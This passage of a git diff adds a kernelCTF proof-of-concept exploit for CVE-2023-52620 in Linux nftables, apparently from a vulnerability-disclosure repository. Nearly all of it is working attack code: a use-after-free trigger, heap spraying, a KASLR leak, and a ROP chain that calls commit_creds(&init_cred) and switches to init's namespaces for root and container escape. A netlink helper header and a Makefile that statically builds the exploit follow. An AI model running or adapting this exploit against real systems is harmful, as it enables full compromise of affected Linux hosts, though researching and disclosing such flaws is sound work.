handle:42; /* 16: 0 8 */ + // u64 genmask:2; /* 16:42 8 */ + // u64 dlen:12; /* 16:44 8 */ + // u64 udata:1; /* 16:56 8 */ + // unsigned char data[]; /* 24 0 */ + + // RBX contains the address of nft_rule + // First two ROP chain elements are overwriting the nft_rule.list + data[i++] = kbase + PUSH_RBX_POP_RSP_RBP; + data[i++] = kbase + POP_R12_R13_RET; + + // nft_rule.handle == 0xffff, nft_rule.dlen > 0 + data[i++] = 0xffff | ((unsigned long) 0x8 << 44); + + // fake ops addr + data[i++] = kmalloc_192; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; + data[i++] = 0; + data[i++] = 0; + data[i++] = _user_rip; + data[i++] = _user_cs; + data[i++] = _user_rflags; + data[i++] = _user_sp; + data[i++] = _user_ss; +} + +void spray_counter(){ + char *set_name; + + for(int i = 0; i < SET_SPRAY; i++){ + asprintf(&set_name, "s%02hx", i); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, i); + + struct nftnl_expr * expr_counter = nftnl_expr_alloc("counter"); + nftnl_set_add_expr(set_leak, expr_counter); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } +} + +void setup_table_chain(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain_base_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT); + + struct nftnl_chain * chain_dummy = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_dummy, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_dummy, NFTNL_CHAIN_NAME, chain_dummy_name); + nftnl_chain_set_u32(chain_dummy, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_leak = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_leak, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_leak, NFTNL_CHAIN_NAME, chain_leak_name); + nftnl_chain_set_u32(chain_leak, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_rop = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_NAME, chain_rop_name); + nftnl_chain_set_u32(chain_rop, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain_base_name); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_leak_name); + nftnl_rule_add_expr(rule_dangling_3, expr_immediate); + + char rule_data[0x100] = {0,}; + + struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain_base_name); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_rop_name); + nftnl_rule_add_expr(rule_dangling_4, expr_immediate); + + struct nftnl_rule * rule_rop = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_rop, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_rop, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_data(rule_rop, NFTNL_RULE_USERDATA, rule_data, KMALLOC_192_SIZE-NFT_RULE_HEADER_SIZE); + + struct nftnl_rule * rule_dummy = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dummy, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dummy, NFTNL_RULE_CHAIN, chain_base_name); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_rop); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_dummy); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3); + mnl_nlmsg_batch_next(batch); + + handle++; + handle_leak_kbase = handle; + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4); + mnl_nlmsg_batch_next(batch); + + handle++; + handle_leak_heap = handle; + + for(int i = 0 ; i < RETRY_MAX; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_rop); + mnl_nlmsg_batch_next(batch); + + handle++; + } + + handle_rop = handle; + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void del_chain(char* chain_name){ + struct nftnl_chain * chain = nftnl_chain_alloc(); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FLAGS, 0); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void del_rule(unsigned long handle){ + struct nftnl_rule * rule_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, handle); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void spray_table(void* data, uint64_t size){ + struct nftnl_table * tables[TABLE_SPRAY] = {0,}; + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "%02hx_%ld", i, size); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void trigger(char * trig_set_name, char * trig_chain_name){ + uint8_t desc_concat[2]; + memset(desc_concat, 1, 2); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, trig_set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_CONCAT | NFT_SET_TIMEOUT | NFT_SET_MAP); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 8); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, 1337); + nftnl_set_set_u32(set_leak, NFTNL_SET_GC_INTERVAL, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_DESC_SIZE, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_DATA_TYPE, NFT_DATA_VERDICT); + nftnl_set_set_data(set_leak, NFTNL_SET_DESC_CONCAT, desc_concat, 2); + + struct nftnl_set * set_leak_elem = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak_elem, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak_elem, NFTNL_SET_NAME, trig_set_name); + + struct nftnl_set_elem * elem1 = nftnl_set_elem_alloc(); + + nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL); + nftnl_set_elem_set_str(elem1, NFTNL_SET_ELEM_CHAIN, trig_chain_name); + nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_VERDICT, NFT_GOTO); + nftnl_set_elem_set_u64(elem1, NFTNL_SET_ELEM_TIMEOUT, 1); + + nftnl_set_elem_add(set_leak_elem, elem1); + + struct nftnl_rule * rule_lookup_set_leak = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u32(rule_lookup_set_leak, NFTNL_RULE_ID, 1); + + struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup"); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_DREG, NFT_REG32_01); + nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, trig_set_name); + nftnl_rule_add_expr(rule_lookup_set_leak, expr_lookup); + + struct nftnl_rule * rule_dummy = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dummy, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dummy, NFTNL_RULE_CHAIN, chain_dummy_name); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_leak_elem); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak); + mnl_nlmsg_batch_next(batch); + + handle++; + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak); + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < 0x800; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dummy); + mnl_nlmsg_batch_next(batch); + handle++; + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for nft_commit_release() to complete + usleep(10*1000); + + del_chain(trig_chain_name); + + // wait for nft_commit_release() to complete + usleep(300*1000); +} + +int leak_kaslr(){ + int ret; + + trigger(set_leak_name, chain_leak_name); + + spray_counter(); + + if(kbase != 0) return 0; + + char read_data[0x100]; + + struct nftnl_rule *rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, handle_leak_kbase); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + + if (ret > 0) { + memcpy(&counter_ops, &read_data[CHAIN_NAME_OFF], sizeof(uint64_t)); + + if(fork() == 0){ + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + exit(1); + } + } + + kbase = counter_ops - NFT_COUNTER_OPS; + + printf("[*] kbase: %lx\n", kbase); + + return 0; +} + +int exploit(){ + int ret; + + trigger(set_rop_name, chain_rop_name); + + char rule_data[0x400] = {0,}; + + struct nftnl_rule * rule_192 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_192, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_192, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_data(rule_192, NFTNL_RULE_USERDATA, rule_data, KMALLOC_192_SIZE-NFT_RULE_HEADER_SIZE); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_192); + mnl_nlmsg_batch_next(batch); + + handle++; + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + char read_data[0x100] = {0,}; + int retry_count = 0; + + struct nftnl_rule* rule_get; + +retry: + rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, handle_leak_heap); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + if (ret > 0) { + memcpy(&kmalloc_192, &read_data[CHAIN_NAME_OFF], sizeof(uint64_t)); + + ret = mnl_socket_recvfrom(nl, read_data, 0x100); + } + + if((kmalloc_192 >> 48) != 0xffff){ + if(retry_count >= RETRY_MAX) + return -1; + + printf("retry.. %d\n", retry_count); + retry_count++; + + del_rule(handle_rop); + handle_rop--; + + goto retry; + } + + printf("[*] heap %lx\n", kmalloc_192); + + // create fake nft_chain.rules_gen_0 + uint64_t *data = malloc(1024); + + data[0] = kmalloc_192; + + spray_table(data, KMALLOC_32_SIZE); + + del_rule(handle_rop); + + // wait for nft_commit_release() to complete + usleep(300*1000); + + // create fake nft_rule + rop_chain(data); + + spray_table(data, KMALLOC_192_SIZE); + + return 0; +} + +void setup(){ + new_ns(); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); +} + +void start(){ + save_state(); + + buf = malloc(BUF_SIZE); + + setup(); + + setup_table_chain(); + + leak_kaslr(); + + exploit(); + + trig_sock(); +} + +int main(int argc, char ** argv) +{ + set_affinity(1); + + start(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/netlink_utils.h b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/netlink_utils.h new file mode 100644 index 000000000..ce994bdf3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/cos-105-17412.294.34/netlink_utils.h @@ -0,0 +1,229 @@ +/* + * Utils used to communicate with the kernel via Netlink. + * Useful for static linking. + */ + +#include +#include +#include +#include + +#define PAGE_SIZE 0x1000 +#define NL_AUTO_SEQ 0 +#define NL_AUTO_PID 0 + +void *nlmsg_tail(const struct nlmsghdr *msg) +{ + return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len); +} + +void *nlmsg_data(const struct nlmsghdr *msg) +{ + return NLMSG_DATA(msg); +} + +int nlmsg_datalen(const struct nlmsghdr *msg) +{ + return msg->nlmsg_len - NLMSG_HDRLEN; +} + +struct nlmsghdr *nlmsg_alloc(void) +{ + struct nlmsghdr *msg; + + msg = calloc(1, 0x1000); + if (!msg) + return NULL; + + msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0)); + return msg; +} + +struct nlmsghdr *nlmsg_init(int type, int flags) +{ + struct nlmsghdr *msg; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + msg->nlmsg_type = type; + msg->nlmsg_flags = flags; + msg->nlmsg_seq = NL_AUTO_SEQ; + msg->nlmsg_pid = NL_AUTO_PID; + + return msg; +} + +void nlmsg_free(struct nlmsghdr *msg) +{ + free(msg); +} + +int nl_init_request(int type, struct nlmsghdr **msg, int flags) +{ + int sk; + struct nlmsghdr *n; + + sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sk < 0) + return -1; + + n = nlmsg_init(type, flags); + if (!n) { + close(sk); + return -1; + } + + *msg = n; + return sk; +} + +void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad) +{ + char *data = (char *)msg; + size_t tlen; + + tlen = NLMSG_ALIGN(len); + data += msg->nlmsg_len; + msg->nlmsg_len += tlen; + + if (tlen > len) + memset(data + len, 0, tlen - len); + + return data; +} + +int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad) +{ + void *tmp; + + tmp = nlmsg_reserve(msg, len, pad); + if (tmp == NULL) + return -1; + + memcpy(tmp, data, len); + return 0; +} + +int nl_sendmsg(int sk, struct nlmsghdr *msg) +{ + struct iovec iov = {}; + struct msghdr hdr = {}; + + if (sk < 0) + return -1; + + iov.iov_base = (void *)msg; + /* + * Here add NLMSG_GOODSIZE (0xec0) to the total message length + * to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc(): + * https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190 + * Useful to reduce noise in kmalloc-512 slabs. + */ + iov.iov_len = msg->nlmsg_len + 0xec0; + + hdr.msg_name = NULL; + hdr.msg_namelen = sizeof(struct sockaddr_nl); + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + return sendmsg(sk, &hdr, 0); +} + +int nl_complete_request(int sock, struct nlmsghdr *msg) +{ + int ret; + + ret = nl_sendmsg(sock, msg); + nlmsg_free(msg); + close(sock); + + return ret; +} + +void *nla_data(const struct nlattr *nla) +{ + return (char *)nla + NLA_HDRLEN; +} + +int nla_attr_size(int payload) +{ + return NLA_HDRLEN + payload; +} + +int nla_total_size(int payload) +{ + return NLA_ALIGN(nla_attr_size(payload)); +} + +int nla_padlen(int payload) +{ + return nla_total_size(payload) - nla_attr_size(payload); +} + +struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen) +{ + struct nlattr *nla; + + nla = (struct nlattr *)nlmsg_tail(msg); + nla->nla_type = attrtype; + nla->nla_len = nla_attr_size(attrlen); + + memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen)); + + msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen); + return nla; +} + +int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data) +{ + struct nlattr *nla; + + nla = nla_reserve(msg, attrtype, datalen); + if (!nla) + return -1; + + memcpy(nla_data(nla), data, datalen); + return 0; +} + +int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value) +{ + return nla_put(msg, attrtype, sizeof(uint32_t), &value); +} + +int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str) +{ + return nla_put(msg, attrtype, strlen(str) + 1, str); +} + +int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested) +{ + return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype) +{ + struct nlattr *start = (struct nlattr *)nlmsg_tail(msg); + + if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0) + return NULL; + + return start; +} + +int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start) +{ + size_t pad, len; + + len = (char *)nlmsg_tail(msg) - (char *)start; + start->nla_len = len; + + pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len; + if (pad > 0) { + if (!nlmsg_reserve(msg, pad, 0)) + return -1; + } + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/Makefile b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/Makefile new file mode 100644 index 000000000..f838f98dc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/Makefile @@ -0,0 +1,35 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +exploit: + gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -f exploit diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/exploit b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/exploit new file mode 100755 index 000000000..4ac0e5bbe Binary files /dev/null and 